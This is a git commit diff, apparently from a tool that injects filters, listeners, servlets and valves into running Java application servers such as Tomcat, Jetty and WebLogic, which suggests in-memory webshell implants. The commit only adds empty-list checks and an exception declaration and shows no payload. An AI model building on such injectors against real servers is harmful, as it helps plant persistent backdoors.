fix: context not found test not work

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent 726690ede1
commit c51b4e11dc
32 changed files with 37 additions and 37 deletions
@@ -44,7 +44,7 @@ public class ApusicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -40,7 +40,7 @@ public class ApusicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -40,7 +40,7 @@ public class ApusicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -40,7 +40,7 @@ public class BesFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -36,7 +36,7 @@ public class BesListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class BesValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -43,7 +43,7 @@ public class GlassFishFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -42,7 +42,7 @@ public class JettyFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -29,7 +29,7 @@ public class JettyListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -42,7 +42,7 @@ public class JettyServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -39,7 +39,7 @@ public class ResinFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -38,7 +38,7 @@ public class ResinListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -40,7 +40,7 @@ public class ResinServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -43,7 +43,7 @@ public class TomcatFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -107,7 +107,7 @@ public class TomcatListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -41,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -44,7 +44,7 @@ public class TomcatServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -43,7 +43,7 @@ public class TomcatWebSocketInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -44,7 +44,7 @@ public class TongWebFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -117,7 +117,7 @@ public class TongWebFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -43,7 +43,7 @@ public class UndertowFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -40,7 +40,7 @@ public class UndertowListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -44,7 +44,7 @@ public class UndertowServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -44,7 +44,7 @@ public class WebLogicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -39,7 +39,7 @@ public class WebLogicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -47,7 +47,7 @@ public class WebLogicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
+1 -1
View File
@@ -66,7 +66,7 @@ try {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {